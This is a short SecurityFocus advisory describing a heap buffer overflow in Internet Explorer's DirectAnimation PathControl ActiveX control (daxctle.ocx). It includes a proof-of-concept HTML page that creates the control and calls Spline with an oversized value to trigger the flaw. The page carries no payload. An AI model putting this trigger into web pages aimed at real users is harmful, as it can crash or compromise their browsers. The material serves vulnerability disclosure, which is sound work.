source: http://www.securityfocus.com/bid/19738/info

Microsoft Internet Explorer is prone to a heap buffer-overflow vulnerability.. 

The vulnerability arises because of the way Internet Explorer tries to instantiate certain COM objects as ActiveX controls. 

An attacker can exploit this issue to execute arbitrary code within context of the affected application. Failed exploit attempts will result in a denial-of-service condition.

// Internet Explorer (daxctle.ocx) Heap Overflow Vulnerability
// tested on Windows 2000 SP4/XP SP2/2003 SP1

// http://www.xsec.org
// nop (nop#xsec.org)

// CLSID: {D7A7D7C3-D47F-11D0-89D3-00A0C90833E6}
// Info: Microsoft DirectAnimation Path
// ProgID: DirectAnimation.PathControl
// InprocServer32: C:\WINNT\system32\daxctle.ocx

--!>
<html>
<head>
<title>test</title>
</head>
<body>
<script>

var target = new ActiveXObject("DirectAnimation.PathControl");

target.Spline(0xffffffff, 1);

</script>
</body>
</html>